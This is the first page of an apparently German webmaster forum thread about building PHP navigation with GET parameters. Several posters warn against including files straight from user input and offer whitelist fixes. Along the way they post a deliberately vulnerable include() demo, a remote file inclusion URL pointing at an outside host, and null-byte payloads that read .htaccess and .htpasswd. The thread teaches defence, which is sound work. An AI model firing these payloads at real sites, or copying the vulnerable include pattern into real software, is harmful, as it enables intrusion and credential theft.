Seite 1 von 6 123456 LetzteLetzte
Ergebnis 1 bis 10 von 57

Thema: includieren mit GET?

  1. #1
    webdesigner
    Gast

    Standard includieren mit GET?

    Kann mir jemand sagen wie man das in seine navigation macht damit die endung ?irgendwas=irgendwas ist

    <?php

    $get
    = $_GET["action"
    ];

    include(
    "".$get.".php"
    );

    ?>


    ich komm da nicht ganz dahinter, was muss ich dann in die navi schreiben?
    Achtung: Dies ist ein alter Thread im HTML und Webmaster Forum
    Diese Diskussion ist älter als 90 Tage. Die darin enthaltenen Informationen sind möglicherweise nicht mehr aktuell. Erstelle bitte zu deiner Frage ein neues Thema im Forum !!!!!

  2. #2
    Bandit
    Gast

    Standard AW: includieren mit GET?

    Auweia, das ist eine Katastrophe!!! Wenn man Parametern so gnadenlos vertraut, dann darf man sich nicht wundern, wenn die eigene Seite mal gehackt wird!

    PHP-Code:
    <?php
       $page 
    = (isset($_GET['action'])) ? $_GET['action'] : "home";
       
       switch (
    $page)
       {
          case 
    "home":      include ("home.php"); break;
          case 
    "kontakt":   include ("kontakt.php"); break;
          case 
    "impressum": include ("impressum.php"); break;
          default:          include (
    "home.php"); break;
       }
    ?>
    Code:
    <a href="index.php?action=home">Home</a>
    <a href="index.php?action=kontakt">Kontakt</a>
    <a href="index.php?action=impressum">Impressum</a>
    Das sind Grundlagen, die man können sollte

  3. #3
    Pion
    Gast

    Standard AW: includieren mit GET?

    Hm ja aber ich mein was soll schon passieren in dem fall:P

    Kann man halt alles includieren, deswegen wird noch nix gehackt^^

  4. #4
    Bandit
    Gast

    Standard AW: includieren mit GET?

    Ich schreibe mal eine harmlose Variante, die nix großes anstellt:

    index?action=index

    Das wäre schon mal eine Endlosschleife. Und glaube mir, da lässt sich noch viel mehr anstellen.

  5. #5
    webdesigner
    Gast

    Standard AW: includieren mit GET?

    Zitat Zitat von bandit600 Beitrag anzeigen
    Auweia, das ist eine Katastrophe!!! Wenn man Parametern so gnadenlos vertraut, dann darf man sich nicht wundern, wenn die eigene Seite mal gehackt wird!

    PHP-Code:
    <?php
       $page 
    = (isset($_GET['action'])) ? $_GET['action'] : "home";
     
       switch (
    $page)
       {
          case 
    "home":      include ("home.php"); break;
          case 
    "kontakt":   include ("kontakt.php"); break;
          case 
    "impressum": include ("impressum.php"); break;
          default:          include (
    "home.php"); break;
       }
    ?>
    Code:
    <a href="index.php?action=home">Home</a>
    <a href="index.php?action=kontakt">Kontakt</a>
    <a href="index.php?action=impressum">Impressum</a>
    Das sind Grundlagen, die man können sollte

    Das ist ja spitze was du da gepostet hast, ich hab nie verstanden wie das abläuft. jetzt schon und sicher scheints deiner meinung nach ja auch zu sein
    Geändert von webdesigner (31.07.2009 um 19:30 Uhr)

  6. #6
    Pion
    Gast

    Standard AW: includieren mit GET?

    Zitat Zitat von bandit600 Beitrag anzeigen
    Ich schreibe mal eine harmlose Variante, die nix großes anstellt:

    index?action=index

    Das wäre schon mal eine Endlosschleife. Und glaube mir, da lässt sich noch viel mehr anstellen.
    Was den? Bleib am boden^^

    Endlosschleife ist doch net schlimm

  7. #7
    Bandit
    Gast

    Standard AW: includieren mit GET?

    Zitat Zitat von Pion Beitrag anzeigen
    Was den? Bleib am boden^^
    Wenn man keine Ahnung hat, sollte man einfach mal ruhig sein!

    Nimm dieses Sktipt:
    PHP-Code:
    <?php
       
    echo "vor dem include <br><br>";
     
       include (
    $_GET['action']);
     
       echo 
    " <br><br>vor dem include";
    ?>
    Und rufe das Script mit dem Parameter ?action=http://bdt600.funpic.de/temp/boese.php auf und staune! Vorrausgesetzt, allow_url_include steht in der php.ini auf On

    Keine Sorge, es passiert nichts schlimmes, aber es zeigt dir, was man machen könnte!

  8. #8
    Pion
    Gast

    Standard AW: includieren mit GET?

    Okay okay chef an sowas hab ich nicht gedacht das jemand das erlaubt und so na gut^^

    XD
    Geändert von Pion (31.07.2009 um 20:16 Uhr)

  9. #9
    Forum Guru Avatar von The User
    Registriert seit
    28.10.2007
    Ort
    Zwischen Pazifik und Atlantik...
    Beiträge
    4.044
    Danke
    0
    Bekam 0 mal "Danke" in 0 Postings

    Standard AW: includieren mit GET?

    Mach lieber ne Tabelle.
    PHP-Code:
    $pages = array('home' => 'content/home.php',
                                      'kontakt' => 'content/kontakt.php',
                                      'impressum' => 'content/impressum.php',
                                      '404' => 'error404.php');
    $titles = array('home' => 'Startseite',
                           'kontakt' => 'Kontakt',
                           'impressum' => 'Impressum',
                           '404' => 'Fehler 404: Seite nicht gefunden');
    $page = $_GET['irgendwas'];
    if(!isset($pages[$page]))
      $page = '404';
    ?>
    <html>
    <head>
    <title><?= $titles[$page?></title>
    ...
    </head>
    <body>
    Layout
    <?
    include $pages[$page];
    ?>
    Layout
    </body>
    </html>
    Viele liebe Grüße
    The User

  10. #10
    der/die Göttliche Avatar von jojo87
    Registriert seit
    23.03.2007
    Ort
    Leipzig
    Alter
    30
    Beiträge
    3.131
    Danke
    0
    Bekam 0 mal "Danke" in 0 Postings

    Standard AW: includieren mit GET?

    Zitat Zitat von Pion Beitrag anzeigen
    Okay okay chef an sowas hab ich nicht gedacht das jemand das erlaubt und so na gut^^

    XD
    Erstens ist das keine Seltenheit, und zweitens (z.Bsp. bei einer .htaccess geschützten Seite, was auch nicht selten ist)
    Code:
    ?action=/.htaccess%00 
    ?action=/.htpasswd%00
    Geändert von jojo87 (01.08.2009 um 03:25 Uhr)

Ähnliche Themen

  1. PHP-alle Dateien eines Verzeichnisses includieren?
    Von Alienx im Forum HTML & CSS Forum
    Antworten: 7
    Letzter Beitrag: 23.01.2008, 20:36
  2. Kann ich in Html includieren???
    Von xkruemel100 im Forum HTML & CSS Forum
    Antworten: 9
    Letzter Beitrag: 02.04.2007, 12:34
  3. php-script includieren
    Von im Forum HTML & CSS Forum
    Antworten: 3
    Letzter Beitrag: 04.11.2006, 21:39

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •